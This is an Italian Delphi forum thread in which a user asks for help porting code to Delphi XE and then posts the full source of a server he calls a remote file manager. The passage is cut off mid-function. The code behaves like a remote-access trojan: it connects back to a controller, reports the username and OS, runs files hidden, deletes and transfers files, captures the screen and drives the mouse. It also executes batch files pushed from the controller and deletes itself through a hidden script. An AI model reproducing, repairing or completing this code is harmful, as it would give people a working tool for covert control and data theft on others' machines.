Questo sito utilizza cookies solo per scopi di autenticazione sul sito e nient'altro. Nessuna informazione personale viene tracciata. Leggi l'informativa sui cookies.
Username: Password: oppure
Delphi - Problema con PChar con Delphi XE
Forum - Delphi - Problema con PChar con Delphi XE

Avatar
Mario84 (Normal User)
Newbie


Messaggi: 8
Iscritto: 24/11/2014

Segnala al moderatore
Postato alle 13:36
Venerdì, 28/11/2014
Salve o un nuovo problema con Delphi XE, questa volta con PChar, non saprei se sostituire con PAnsiChar. Posto qui il codice.

Codice sorgente - presumibilmente Delphi

  1. Function ResolveAddress(Address: String): TInAddr;
  2. var
  3.   Host: PHostEnt;
  4. begin
  5.   Result.S_addr := inet_addr(PChar(Address));
  6.   if Result.S_addr = INADDR_NONE then
  7.   begin
  8.     Host := gethostbyname(PChar(Address));
  9.     if Host <> nil then
  10.       Result := PInAddr(Host.h_addr_list^)^;
  11.   end;
  12. end;



Qui sotto allego pure il progetto completo che sto cercando di compilare in Delphi XE.  

Ultima modifica effettuata da Mario84 il 28/11/2014 alle 13:45
PM Quote
Avatar
Goblin (Member)
Expert


Messaggi: 375
Iscritto: 02/02/2011

Segnala al moderatore
Postato alle 14:58
Sabato, 29/11/2014
Non c'e' nessun allegato.

Mi puoi dire che lib usi


Ibis redibis non morieris in bello
PM Quote
Avatar
Mario84 (Normal User)
Newbie


Messaggi: 8
Iscritto: 24/11/2014

Segnala al moderatore
Postato alle 23:15
Sabato, 29/11/2014
Scusami Goblin, ma o allegato un File .Rar, forse lo devo inserire dentro qualche codice per allegare ? o basta solo scegliere il file da allegare ?

PM Quote
Avatar
Goblin (Member)
Expert


Messaggi: 375
Iscritto: 02/02/2011

Segnala al moderatore
Postato alle 11:17
Domenica, 30/11/2014
Credo che per allegare un file basta selezionarlo ed inviarlo, deve essere più piccolo di 2MB dunque solo sorgenti e niente .dcu e .exe che non servono a niente.
cmq ho fatto una piccola ricerca .. questo è quello che ho trovato:

Codice sorgente - presumibilmente Delphi

  1. function HostToIP(Name: string; var Ip: string): Boolean;
  2. var
  3.   wsdata : TWSAData;
  4.   hostName : PAnsiChar;
  5.   hostEnt : PHostEnt;
  6.   addr : PAnsiChar;
  7. begin
  8.   WSAStartup ($0101, wsdata);
  9.   try
  10.     gethostname (hostName, sizeof (hostName));
  11.     StrPCopy(hostName, Name);
  12.     hostEnt := gethostbyname (hostName);
  13.     if Assigned (hostEnt) then
  14.       if Assigned (hostEnt^.h_addr_list) then begin
  15.         addr := hostEnt^.h_addr_list^;
  16.         if Assigned (addr) then begin
  17.           IP := Format ('%d.%d.%d.%d', [byte (addr [0]),
  18.           byte (addr [1]), byte (addr [2]), byte (addr [3])]);
  19.           Result := True;
  20.         end
  21.         else
  22.           Result := False;
  23.       end
  24.       else
  25.         Result := False
  26.     else begin
  27.       Result := False;
  28.     end;
  29.   finally
  30.     WSACleanup;
  31.   end
  32. end;
  33.  
  34. procedure TForm1.Button1Click(Sender: TObject);
  35. var
  36. IP: string;
  37. begin
  38. if HostToIp(Edit1.Text, IP) then Label1.Caption := IP;
  39. end;



inserisci nel edit il www.qualcosa e ti ritorna l'indirizzo IP...
Personalmente non mi piace, ma funziona, io userei la libreria Indy, ma non sapendo il tuo fine ultimo ... tiro ad indovinare.
G.


Ibis redibis non morieris in bello
PM Quote
Avatar
Mario84 (Normal User)
Newbie


Messaggi: 8
Iscritto: 24/11/2014

Segnala al moderatore
Postato alle 0:57
Lunedì, 01/12/2014
Grazie ancora del tuo aiuto Goblin, io sto cercando di aggiornare e migliorare un File manager remoto scritto in Delphi 7, ma non riesco a farlo funzionare. Ecco qui ti allego il codice che uso per il server

Codice sorgente - presumibilmente Delphi

  1. unit uMain;
  2.  
  3. interface
  4.  
  5. uses
  6.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  7.   Dialogs, StdCtrls, IdBaseComponent, IdAntiFreezeBase, IdAntiFreeze,
  8.   ScktComp, ExtCtrls, ShellApi, Registry;
  9.  
  10. type
  11.   TTransferAction = (taDownload, taUpload);
  12.  
  13.   PTrasnferInfo = ^TTrasnferInfo;
  14.   TTrasnferInfo = record
  15.     LocalFile: string;
  16.     Action   : TTransferAction;
  17.     TFile    : TextFile;
  18.     BFile    : file of Char;
  19.   end;
  20.  
  21. type
  22.   THome = class(TForm)
  23.     Tmr_ON: TTimer;
  24.     Tmr_OFF: TTimer;
  25.     SckServer: TClientSocket;
  26.     SckServerFT: TClientSocket;
  27.     Label1: TLabel;
  28.     Label2: TLabel;
  29.     Freeze: TIdAntiFreeze;
  30.     Bs: TMemo;
  31.     Update: TMemo;
  32.     procedure Close_All_Sockets(Sck: TClientSocket);
  33.     Function  File_Size(s_file:string):string;
  34.     procedure Download(LocalFile,RemoteFile:String);
  35.     procedure Upload(LocalFile,RemoteFile:String);
  36.     procedure DoTransfer(LocalFile, RemoteFile:string; Action: TTransferAction);
  37.     procedure FormCreate(Sender: TObject);
  38.     procedure SckServerFTConnect(Sender: TObject;
  39.       Socket: TCustomWinSocket);
  40.     procedure SckServerFTDisconnect(Sender: TObject;
  41.       Socket: TCustomWinSocket);
  42.     procedure SckServerFTError(Sender: TObject; Socket: TCustomWinSocket;
  43.       ErrorEvent: TErrorEvent; var ErrorCode: Integer);
  44.     procedure SckServerFTRead(Sender: TObject; Socket: TCustomWinSocket);
  45.     //procedure SckServerRead(Sender: TObject; Socket: TCustomWinSocket);
  46.     procedure SckServerConnect(Sender: TObject;
  47.       Socket: TCustomWinSocket);
  48.     procedure SckServerDisconnect(Sender: TObject;
  49.       Socket: TCustomWinSocket);
  50.     procedure SckServerError(Sender: TObject; Socket: TCustomWinSocket;
  51.       ErrorEvent: TErrorEvent; var ErrorCode: Integer);
  52.     procedure SckServerRead(Sender: TObject; Socket: TCustomWinSocket);
  53.     procedure Tmr_ONTimer(Sender: TObject);
  54.     procedure Tmr_OFFTimer(Sender: TObject);
  55.   private
  56.     { Private declarations }
  57.     cLFile,cRFile:String;
  58.     tSize,cSize:LongInt;
  59.     cAction:TTransferAction;
  60.     StartTime:DWORD;
  61.     Ready:Boolean;
  62.     tFile:TextFile;
  63.     bFile:file of Char;
  64.     Error:Boolean;
  65.   public
  66.     { Public declarations }
  67.   end;
  68. //==============================================================================
  69. Const varNull = #0; varDel = #1; varEnd = #3; varNewLine = #13#10;
  70. //==============================================================================
  71.  
  72. Const
  73. //=================================================================
  74. cMAIN_PORT       :  string  =  'main_port=41000  ';
  75. cTRAN_PORT       :  string  =  'tran_port=41001  ';
  76. //==============================================================================
  77. cServer_Version  :  string  =  'v1.0';
  78.  
  79.  
  80. var
  81.   Home: THome;
  82.   aCptClients: TStringList;
  83.   User_Name: String;
  84.   SrvPassword: String;
  85.  
  86. implementation
  87.  
  88. Uses  untFunctions;
  89.  
  90. {$R *.dfm}
  91.  //==============================================================================
  92. var
  93.   Validated: Boolean;
  94. //=====Funzione Rivela OS Windows===============================================
  95. //==============================================================================
  96. Function GetOS: String;
  97. //==============================================================================
  98. var
  99.   osVerInfo: TOSVersionInfo;
  100.   majorVer, minorVer: Integer;
  101. begin
  102.   Result := 'Unknown';
  103.   osVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  104.   if GetVersionEx(osVerInfo) then
  105.   begin
  106.     majorVer := osVerInfo.dwMajorVersion;
  107.     minorVer := osVerInfo.dwMinorVersion;
  108.     case osVerInfo.dwPlatformId of
  109.       VER_PLATFORM_WIN32_NT:
  110.         begin
  111.           if majorVer <= 4 then
  112.             Result := 'Windows NT'
  113.           else if (majorVer = 5) and (minorVer = 0) then
  114.             Result := 'Windows 2000'
  115.           else if (majorVer = 5) and (minorVer = 1) then
  116.             Result := 'Windows XP'
  117.           else if (majorVer = 6) and (minorVer = 0) then
  118.             Result := 'Windows Vista'
  119.           else if (majorVer = 6) and (minorVer = 1) then
  120.             Result := 'Windows 7'
  121.             else if (majorVer = 6) and (minorVer = 2) then
  122.             Result := 'Windows 8'
  123.         end;
  124.       VER_PLATFORM_WIN32_WINDOWS:
  125.         begin
  126.           if (majorVer = 4) and (minorVer = 0) then
  127.             Result := 'Windows 95'
  128.           else if (majorVer = 4) and (minorVer = 10) then
  129.           begin
  130.             if osVerInfo.szCSDVersion[1] = 'A' then
  131.               Result := 'Windows 98SE'
  132.             else
  133.               Result := 'Windows 98';
  134.           end
  135.           else if (majorVer = 4) and (minorVer = 90) then
  136.             Result := 'Windows ME'
  137.         end;
  138.     end;
  139.   end;
  140. end;
  141. //==============================================================================
  142. procedure THome.Close_All_Sockets(Sck: TClientSocket);
  143. //==============================================================================
  144. begin
  145. try
  146. If SckServer.Socket.Connected then SckServer.Close;
  147. If SckServerFT.Socket.Connected then SckServerFT.Close;
  148. except end;
  149. end;
  150. //==============================================================================
  151. procedure Split(strString, strDelimiter: String; var strList: TStringList);
  152. //==============================================================================
  153. var I, N: Integer;
  154. begin
  155.   N := 0;
  156.   for I := 1 to Length(strString) do
  157.     if strString[I] = strDelimiter then begin
  158.       inc(N);
  159.       strList.Add(Copy(strString, N, I - N));
  160.       N := I;
  161.     end;
  162.   If N <> Length(strString) then strList.Add(Copy(strString, N + 1, Length(strString) - N));
  163. end;
  164. //==============================================================================
  165. procedure THome.DoTransfer(LocalFile, RemoteFile:string; Action: TTransferAction);
  166. //==============================================================================
  167. var
  168.    tPort:Integer;
  169. begin
  170. tPort:=strtointdef(trim(copy(cTRAN_PORT,11,length(cTRAN_PORT))),888);
  171.  
  172. if (tPort <=0) or (tPort > 65535) or (tPort = strtointdef(trim(copy(cMAIN_PORT,11,length(cMAIN_PORT))),888)) then
  173. begin
  174. Exit;
  175. end;
  176.  
  177. if SckServerFT.Socket.Connected then
  178. begin
  179. SckServerFT.Close;
  180. end;
  181.  
  182. Error:=False;
  183. cSize:=0;
  184. tSize:=0;
  185. cLFile:=LocalFile;
  186. cRFile:=RemoteFile;
  187.  
  188. if Action = taDownload then
  189. begin
  190. end
  191. else if Action = taUpload then
  192. begin
  193. end;
  194. cAction:=Action;
  195. Ready:=False;
  196. SckServerFT.Close;
  197. try
  198. SckServerFT.Port:=tPort;
  199. SckServerFT.Host:=SckServer.Host;
  200. SckServerFT.Open;
  201. except
  202. SckServerFT.Close;
  203. end;
  204. end;
  205. //==============================================================================
  206. procedure sendin(s:string;socket:TCustomWinSocket);
  207. //==============================================================================
  208. begin
  209.   socket.SendText(s);
  210. end;
  211.  
  212. //==============================================================================
  213. procedure THome.Tmr_OFFTimer(Sender: TObject);
  214. //==============================================================================
  215. begin
  216.   Tmr_ON.Enabled := True;
  217.   Tmr_OFF.Enabled := False;
  218. end;
  219. //==============================================================================
  220. procedure THome.Tmr_ONTimer(Sender: TObject);
  221. //==============================================================================
  222. begin
  223.   SckServer.Host := '127.0.0.1';
  224.   SckServer.Port := strtointdef(trim(copy(cMAIN_PORT,11,length(cMAIN_PORT))),41000);
  225.   SckServer.Active := True;
  226.   SckServerFT.Host :=SckServer.Host;
  227.   SckServerFT.Port := strtointdef(trim(copy(cTRAN_PORT,11,length(cTRAN_PORT))),41001);
  228.   Tmr_ON.Enabled := False;
  229.   Tmr_OFF.Enabled := True;
  230. end;
  231. //==============================================================================
  232. procedure THome.SckServerRead(Sender: TObject;
  233.   Socket: TCustomWinSocket);
  234. //==============================================================================
  235.  //==============================================================================
  236. Var
  237.   RC,S_Temp, s_name, s_data:string;
  238.   strDataParse: TStringList;
  239.   I, I_POS: Integer;
  240. begin
  241.    Freeze.Process;
  242.    RC:=Socket.ReceiveText;
  243. If Length(RC) > 4 then begin strDataParse := TStringList.Create; Split(Copy(RC,5,Length(RC) - 4),varDel,strDataParse); end;
  244.  
  245.   Validated := False;
  246.   if Copy(RC,1,4) <> 'PASS' then begin
  247.     for I := 0 to acptClients.Count - 1 do
  248.       if acptClients[I] = Socket.RemoteAddress then begin
  249.         Validated := True;
  250.         Break;
  251.       end;
  252.       if not Validated then begin
  253.         Socket.Close;
  254.         Exit;
  255.       end;
  256.   end else begin
  257.     if strDataParse[0] = SrvPassword then begin
  258.       acptClients.Add(Socket.RemoteAddress);
  259.       Socket.SendText('SER_ON' + varEnd);
  260.     end else begin
  261.       Socket.SendText('SER_OFF' + varEnd);
  262.       Validated := False;
  263.       Exit;
  264.     end;
  265.   end;
  266. If Copy(RC,1,6)='CHIUDI' Then
  267. begin
  268.   Delete(RC,1,6);
  269.   Socket.SendText('CHIUDI');
  270.   Validated := False;
  271.   Close_All_Sockets(SckServer);
  272.   Close_All_Sockets(SckServerFT);
  273.   SckServerFT.Active:=False;
  274.   Exit;
  275. end;
  276.  If Copy(RC,1,6)='REMOVE' then
  277. begin
  278.   Delete(RC,1,6);
  279.   Socket.SendText('REMOVE');
  280.   Validated := False;
  281.   Close_All_Sockets(SckServer);
  282.   Close_All_Sockets(SckServerFT);
  283.   SckServerFT.Active:=False;
  284.  // RemoveServer;
  285.   Exit;
  286.  end;
  287.   If Copy(RC,1,7)='RESTART' then
  288. begin
  289.   Delete(RC,1,7);
  290.   Socket.SendText('RESTART');
  291.   Close_All_Sockets(SckServer);
  292.   Close_All_Sockets(SckServerFT);
  293.   SckServerFT.Active:=False;
  294.   //ReStartServer;
  295.   Exit;
  296.  end;
  297.  //Browsing Folders And Files====================================================
  298. If copy(RC,1,3) = '880' then begin
  299.    Delete(RC,1,3);
  300.    s_temp := copy(RC,4,length(RC));
  301.    Socket.SendText('880' + show_files_dirs(s_temp));
  302.    Socket.SendText('ANS' + 'Files Resived');
  303. end;
  304. //Fun File normal===============================================================
  305. If copy(RC,1,3) = 'AA1' then begin
  306.    Delete(RC,1,3);
  307.    Socket.SendText('response' + execute_file(copy(RC,4,length(RC)),0));
  308.    Socket.SendText('ANS' + 'File Was Run Normaly');
  309. end;
  310. //Run File Hidden================================================================
  311. If copy(RC,1,3) = 'AA0' then begin
  312.    Delete(RC,1,3);
  313.    Socket.SendText('response' + execute_file(copy(RC,4,length(RC)),1));
  314.    Socket.SendText('ANS' + 'File Was Run Normaly');
  315. end;
  316. //Delete File===================================================================
  317. If copy(RC,1,3) = 'BB0' then begin
  318.    Delete(RC,1,3);
  319.    Socket.SendText('response' + delete_file_ex(copy(RC,4,length(RC))));
  320.    Socket.SendText('ANS' + 'File Was Deledted');
  321. end;
  322. //Rename File===================================================================
  323. If copy(RC,1,3) = 'RR0' then begin
  324.    Delete(RC,1,3);
  325.    s_temp := copy(RC,4,length(RC));
  326.    i_pos := pos('|',s_temp);
  327.    s_name := copy(s_temp,1,i_pos-1);
  328.    s_data := copy(s_temp,i_pos+1,length(s_temp));
  329.    Socket.SendText('response' + rename_file(s_name,s_data));
  330.    Socket.SendText('ANS' + 'File was Renamed');
  331. end;
  332. //Play Wave=====================================================================
  333. If copy(RC,1,3) = 'WAV' then begin
  334.    Delete(RC,1,3);
  335.    Socket.SendText('response' + play_wave_file(copy(RC,4,length(RC))));
  336.    Socket.SendText('ANS' + 'Wav was Played');
  337. end;
  338. //Listing Drives================================================================
  339. If copy(RC,1,3) = 'DRV' then begin
  340.    Delete(RC,1,3);
  341.    Socket.SendText('DRV' + show_drives);
  342.    Socket.SendText('ANS' + 'Drives Redeved');
  343. end;
  344. //Changing WallPaper============================================================
  345. If copy(RC,1,3) = '084' then begin
  346.    Delete(RC,1,3);
  347.    Socket.SendText('response'+change_wallpaper(copy(RC,4,length(RC))));
  348.    Socket.SendText('ANS' + 'Walpaper Changed');
  349. end;
  350.   //Cancel Download===============================================================
  351.  If copy(RC,1,3) = 'SFT' then begin
  352.     Delete(RC,1,3);
  353.  If SckServerFT.Socket.Connected then
  354.     SckServerFT.Close
  355. else
  356.  If Error then
  357.     SckServerFTDisconnect(nil,nil);
  358. end;
  359. //Downloading Client Side=======================================================
  360.   If copy(RC,1,3) = 'DLF' then begin
  361.      Delete(RC,1,3);
  362.      s_temp := copy(RC,4,length(RC));
  363.      Download(s_temp,'Downloads\');
  364.      Label2.Caption:=s_temp;
  365. end;
  366. //Uploading Client Side=======================================================
  367.  If copy(RC,1,3) = 'ULF' then begin
  368.     Delete(RC,1,3);
  369.     s_temp := copy(RC,4,length(RC));
  370.     i_pos := pos('|',s_temp);
  371.     s_name := copy(s_temp,1,i_pos-1);
  372.     s_data := copy(s_temp,i_pos+1,length(s_temp));
  373.     Upload(s_name,s_data);
  374.   end;
  375.  //UPDating Server===============================================================
  376. If copy(RC,1,6) = 'UPDATE' then begin
  377.    Delete(RC,1,6);
  378.    s_temp := copy(RC,7,length(RC));
  379. //==============================================================================
  380.    SckServer.Close;
  381.    SckServer.Active:=False;
  382.    Update.Clear;
  383.    Update.Text:=s_temp;
  384.    Update.Lines.Add('Del "C:\&&&&.bat"');
  385.    Update.Lines.SaveToFile('C:\&&&&.bat');
  386. //==============================================================================
  387.    Close_All_Sockets(SckServer);
  388.    //UnInstallServer;  )
  389.    Application.Terminate;
  390.    Shellexecute(0,nil,'C:\&&&&.bat',nil,nil,SW_SHOW);  
  391.    DeleteSelf;
  392.   end;
  393. end;
  394. //==============================================================================
  395. procedure THome.SckServerError(Sender: TObject;
  396.   Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  397.   var ErrorCode: Integer);
  398. //==============================================================================
  399. begin
  400.   ErrorCode := 0 ;
  401.   Tmr_OFF.Enabled := True;
  402. end;
  403. //==============================================================================
  404. procedure THome.SckServerDisconnect(Sender: TObject;
  405.   Socket: TCustomWinSocket);
  406. //==============================================================================
  407. begin
  408.   Tmr_OFF.Enabled := True;
  409. end;
  410. //==============================================================================
  411. Function THome.File_Size(s_file:string):string;
  412. //==============================================================================
  413. var l_size:LongInt;p_char:pchar;
  414. begin
  415. AppendStr(s_file,chr(0));
  416. p_char:=@s_file[1];
  417. try
  418. l_size := CreateFile(p_char,GENERIC_READ or GENERIC_WRITE,0,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
  419. Result := IntToStr(GetFileSize(l_size,nil));
  420. CloseHandle(l_size);
  421. except end;
  422. end;
  423. //==============================================================================
  424. procedure THome.Download(LocalFile,RemoteFile:String);
  425. //==============================================================================
  426. var lFile,rFile:String;
  427. begin
  428. lFile:=LocalFile;
  429. rFile:=RemoteFile + ExtractFileName(lFile);
  430. DoTransfer(lFile,rFile,taUpload);
  431. end;
  432. //==============================================================================
  433. procedure THome.Upload(LocalFile,RemoteFile:String);
  434. //==============================================================================
  435. var cFile,lPath:String;
  436. begin
  437. cFile:=LocalFile;
  438. lPath:=RemoteFile + ExtractFileName(cFile);
  439. DoTransfer(lPath,cFile,taDownload);
  440. end;
  441. //==============================================================================
  442. procedure THome.FormCreate(Sender: TObject);
  443. //==============================================================================
  444. begin
  445. Tmr_ON.Enabled := True;
  446. User_Name := GetEnvironmentVariable('USERNAME');
  447. aCptClients := TStringList.Create;
  448. SrvPassword := '123456';
  449. end;
  450. //==============================================================================
  451. procedure THome.SckServerFTConnect(Sender: TObject;
  452.   Socket: TCustomWinSocket);
  453. //==============================================================================
  454. begin
  455.  Freeze.Process;
  456.    try
  457. if cAction = taDownload then
  458. begin
  459. AssignFile(tFile,cLFile);
  460. ReWrite(tFile);
  461. end
  462.  
  463. else if cAction = taUpload then
  464. begin
  465. AssignFile(bFile,cLFile);
  466. Reset(bFile);
  467. tSize:=FileSize(bFile);
  468. end;
  469. except
  470. SckServerFT.Close;
  471. Exit;
  472. end;
  473. StartTime:=GetTickCount;
  474.  
  475. if cAction = taDownload then
  476. begin
  477. end
  478.  
  479. else if cAction = taUpload then
  480. begin
  481. end;
  482. SckServerFT.Socket.SendText(cRFile + Chr(13) + IntToStr(Integer(cAction)));
  483.  
  484. end;
  485. //==============================================================================
  486. procedure THome.SckServerFTDisconnect(Sender: TObject;
  487.   Socket: TCustomWinSocket);
  488. //==============================================================================
  489. begin
  490.   if not Error then
  491. if cSize >= tSize then
  492. begin
  493. end
  494. else
  495. begin
  496. end;
  497. try
  498. if cAction = taDownload then CloseFile(tFile);
  499. if cAction = taUpload then CloseFile(bFile);
  500. except
  501. end;
  502. deletefile('C:\00011101.000');
  503. deletefile('C:\00110200.sys');
  504. end;
  505. //==============================================================================
  506. procedure THome.SckServerConnect(Sender: TObject;
  507.   Socket: TCustomWinSocket);
  508. //==============================================================================
  509. begin
  510.   Socket.SendText('FLAG|'+'@'+User_Name+'@'+GetOS+'@'+'Server '+cServer_Version);
  511. end;
  512. //==============================================================================
  513. procedure THome.SckServerFTError(Sender: TObject;
  514.   Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  515.   var ErrorCode: Integer);
  516. //==============================================================================
  517. begin
  518.   ErrorCode:=0;
  519.   Error:=False;
  520.   cSize:=-2;
  521.   SckServerFT.Close;
  522.   SckServerFTDisconnect(nil,Socket);
  523. end;
  524. //==============================================================================
  525. procedure THome.SckServerFTRead(Sender: TObject;
  526.   Socket: TCustomWinSocket);
  527. //==============================================================================
  528. var
  529. Dta:string;
  530. Buffer:array [1..512] of Char;
  531. r,p:LongInt;
  532. I,K:integer;
  533. begin
  534. Dta:=Socket.ReceiveText;
  535. //------------------------------------------------------------------------------
  536. if cAction = taDownload then
  537. begin
  538. if Ready then
  539. begin
  540. Write(tFile,Dta);
  541.  
  542. val(label1.Caption,I,K);
  543. cSize:=cSize + Length(Dta);
  544.  
  545. end
  546. else
  547. begin
  548. tSize:=StrToIntDef(Dta,-1);
  549. if tSize < 0 then
  550. begin
  551. Error:=True;
  552. SckServerFT.Close;
  553. Exit;
  554. end;
  555. Ready:=True;
  556. end;
  557. if cSize >= tSize then
  558. begin
  559. SckServerFT.Close;
  560. Exit;
  561. end;
  562. SckServerFT.Socket.SendText('C');
  563. end
  564. //------------------------------------------------------------------------------
  565. else if cAction = taUpload then
  566. begin
  567. if cSize >= tSize then
  568. begin
  569. SckServerFT.Close;
  570. Exit;
  571. end;
  572. if Length(Dta) <> 1 then
  573. begin
  574. Error:=True;
  575. Exit;
  576. end;
  577. p:=FilePos(bFile);
  578. BlockRead(bFile,Buffer,512,r);
  579. r:=FileSize(bFile);
  580. Dta:=string(Buffer);
  581. if (r - p) < 512 then
  582. Dta:=Copy(Dta,1,r - p);
  583. cSize:=cSize + Length(Dta);
  584. val(label1.Caption,I,K);
  585. SckServerFT.Socket.SendText(Dta);
  586. end;
  587. end;
  588.  
  589. end.


Questa e l'altra unit che ussa il server

Codice sorgente - presumibilmente Delphi

  1. unit untFunctions;
  2.  
  3. interface
  4.  
  5. uses
  6. Classes,Windows, winsvc, tlhelp32, WinInet,uMain,Graphics,jpeg,Dialogs,winsock,SysUtils,Forms;
  7.  
  8.  
  9.  
  10. procedure DeleteSelf;
  11. procedure break_string(s_string:string);
  12. function  execute_file(s_file:string;w_cmd:word):string;
  13. function  delete_file_ex(s_file:string):string;
  14. function  rename_file(s_file,s_newname:string):string;
  15. function  play_wave_file(s_file:string):string;
  16. function  show_files_dirs(s_path:string):string;
  17. function  show_drives:string;
  18. function  show_drives_ex:string;
  19. function  drive_type(s_drive:string):string;
  20. function  drive_info(s_drive:string):string;
  21. function  change_wallpaper(s_img:string):string;
  22. procedure screen_capture(i_compression:integer);
  23. procedure delete_file(s_file:string);
  24. procedure MouseClick(x,y:integer);
  25. procedure MouseRightClick(x,y:integer);
  26. procedure CloseService(ServName:String);
  27. //==============================================================================
  28. Const
  29.    cr_lf = chr(13) + chr(10);
  30.    SND_ASYNC = $0001;
  31.    WM_QUIT = $0012;
  32.    wind_cmnd  :  array [0..5] of integer = (SW_SHOW,SW_HIDE,SW_MAXIMIZE,SW_MINIMIZE,SW_RESTORE,WM_QUIT);
  33. //==============================================================================
  34. implementation
  35. //==============================================================================
  36. Function ShellExecute(hWnd: LongWord; Operation, FileName, Parameters,Directory: PChar; ShowCmd: Integer): LongWord; stdcall;external 'shell32.dll' name 'ShellExecuteA';
  37. Function sndPlaySound(lpszSoundName: PChar; uFlags: LongWord): LongBool; stdcall; external 'winmm.dll' name 'sndPlaySoundA';
  38. //==============================================================================
  39.  
  40. procedure CloseService(ServName:String);
  41. var
  42.   hSCM,hService:THandle;
  43.   ss:TServiceStatus;
  44. begin
  45.   hSCM:=OpenSCManager(nil,nil,SC_MANAGER_ALL_ACCESS);
  46.   hService:=OpenService(hSCM,pchar(ServName), SERVICE_ALL_ACCESS);
  47.   ControlService(hService,SERVICE_CONTROL_STOP,ss);
  48.   CloseServiceHandle(hSCM);
  49.   CloseServiceHandle(hService);
  50. end;
  51. //Delete Server on uninstall====================================================
  52. //==============================================================================
  53. procedure DeleteSelf;
  54. //==============================================================================
  55. var
  56. F: TextFile;
  57. batName: string;
  58. pi: TProcessInformation;
  59. si: TStartupInfo;
  60. begin
  61. batName:='c:\';
  62. if batName[Length(batName)]<>'\' then batName:=batName+'\';
  63. batName:=batName+'$$$$$.bat';
  64. AssignFile(F,batName);
  65. Rewrite(F);
  66. Writeln(F,':start');
  67. Writeln(F,'del "'+ParamStr(0)+'"');
  68. Writeln(F,'if exist "'+ ParamStr(0)+'"'+' goto start');
  69. Writeln(F,'del "' + batName + '"' );
  70. CloseFile(F);
  71. FillChar(si,SizeOf(si),$00);
  72. si.dwFlags:=STARTF_USESHOWWINDOW;
  73. si.wShowWindow:=SW_HIDE;
  74. if CreateProcess(nil,PChar(batName),nil,nil,False,IDLE_PRIORITY_CLASS,nil,nil,si,pi) then begin
  75. CloseHandle(pi.hThread);
  76. CloseHandle(pi.hProcess);
  77. end;
  78. end;
  79. //==============================================================================
  80. procedure break_string(s_string:string);
  81. //==============================================================================
  82. begin
  83. Home.bs.clear;
  84. Home.bs.text := s_string;
  85. end;
  86. //==============================================================================
  87. //Desktop Remoto================================================================
  88. //==============================================================================
  89. procedure screen_capture(i_compression:integer);
  90. //==============================================================================
  91. var
  92. h_dc:HDC;
  93. bmp:TBITMAP;
  94. jpeg:TJPEGIMAGE;
  95. begin
  96. h_dc := GetDC(GetDesktopWindow);
  97. bmp :=TBITMAP.Create;
  98. try
  99. bmp.Width := GetDeviceCaps(h_dc,HORZRES);
  100. bmp.Height := GetDeviceCaps(h_dc,VERTRES);
  101. BitBlt(bmp.Canvas.Handle,0,0,bmp.Width,bmp.Height,h_dc,0,0,SRCCOPY);
  102. finally
  103. ReleaseDC(GetDesktopWindow,h_dc);
  104. end;
  105. jpeg := TJpegImage.Create;
  106. with jpeg do begin
  107. Assign(bmp);
  108. PixelFormat := jf24Bit;
  109. CompressionQuality := i_compression;
  110. ProgressiveDisplay := true;
  111. Smoothing := true;
  112. Compress;
  113. end;
  114. try
  115. delete_file('C:\00011101.000');
  116. jpeg.SaveToFile('C:\00011101.000');
  117. finally
  118. jpeg.Free;
  119. end;
  120. end;
  121. //==============================================================================
  122. procedure MouseClick(x,y:integer);
  123. //==============================================================================
  124. var
  125. pnt:tpoint;
  126. tmp:tpoint;
  127. begin
  128. getcursorpos(tmp);
  129. setcursorpos(pnt.x,pnt.y);
  130.  
  131. setcursorpos(x,y);
  132.  
  133. mouse_event(mouseeventf_leftdown,0,0,0,0);
  134. mouse_event(mouseeventf_leftup,0,0,0,0);
  135. setcursorpos(tmp.x,tmp.y);
  136. end;
  137. //==============================================================================
  138. procedure MouseRightClick(x,y:integer);
  139. //==============================================================================
  140. var
  141. pnt:tpoint;
  142. tmp:tpoint;
  143. begin
  144. getcursorpos(tmp);
  145. setcursorpos(pnt.x,pnt.y);
  146.  
  147. setcursorpos(x,y);
  148.  
  149. mouse_event(mouseeventf_rightdown,0,0,0,0);
  150. mouse_event(mouseeventf_rightup,0,0,0,0);
  151. setcursorpos(tmp.x,tmp.y);
  152. end;
  153. //File Manager Extras===========================================================
  154. //==============================================================================
  155. procedure Delete_File(s_file:string);
  156. //==============================================================================
  157. begin
  158. try
  159. if fileexists(s_file) then begin
  160. FileSetAttr(s_file,0);
  161. deletefile(s_file);
  162. end;
  163. except end;
  164. end;
  165. //==============================================================================
  166. Function Play_Wave_File(s_file:string):string;
  167. //==============================================================================
  168. var p_char:pchar;
  169. begin
  170. try
  171. if fileexists(s_file) then begin
  172. appendstr(s_file,chr(0));
  173. p_char := @s_file[1];
  174. sndPlaySound(p_char,SND_ASYNC);
  175. result := 'wave file is playing :)';
  176. end else exit;
  177. except end;
  178. end;
  179. //==============================================================================
  180. Function Rename_File(s_file,s_newname:string):string;
  181. //==============================================================================
  182. var b_rename:boolean;
  183. begin
  184. try
  185. b_rename := renamefile(s_file,s_newname);
  186. if b_rename then result := 'file renamed successfully'
  187. else result := 'error renaming file';
  188. except end;
  189. end;
  190. //==============================================================================
  191. Function Delete_File_Ex(s_file:string):string;
  192. //==============================================================================
  193. begin
  194. try
  195. {$i-}
  196. filesetattr(s_file,0);
  197. deletefile(s_file);
  198. {$i+}
  199. if Ioresult <> 0 then
  200. result := 'error removing file'
  201. else
  202. result := 'file removed';
  203. except end;
  204. end;
  205. //==============================================================================
  206. Function Execute_File(s_file:string;w_cmd:word):string;
  207. //==============================================================================
  208. var i_execute:integer;
  209. begin
  210. try
  211. i_execute := shellexecute(0,pchar('Open'),pchar(s_file),nil,nil,wind_cmnd[w_cmd]);
  212. if i_execute <> 0 then
  213. result := 'file executed successfully'
  214. else result := 'error executing file';
  215. except end;
  216. end;
  217. //File Manager==================================================================
  218. //==============================================================================
  219. Function Show_Files_Dirs(s_path:string):string;
  220. //==============================================================================
  221. var
  222. i_loop:integer;
  223. searc_rec:TSearchRec;
  224. s_dirs,s_hidden,s_readonly,s_archive,s_system,s_files:string;
  225. begin
  226. try
  227. i_loop := FindFirst(s_path + '*.*', faAnyFile, searc_rec);
  228. while i_loop = 0 do
  229. begin
  230. if (searc_rec.Attr and fadirectory > 0) then appendstr(s_dirs,searc_rec.name + cr_lf);
  231. if (searc_rec.Attr and faHidden > 0) then s_hidden := 'h' else s_hidden := '-';
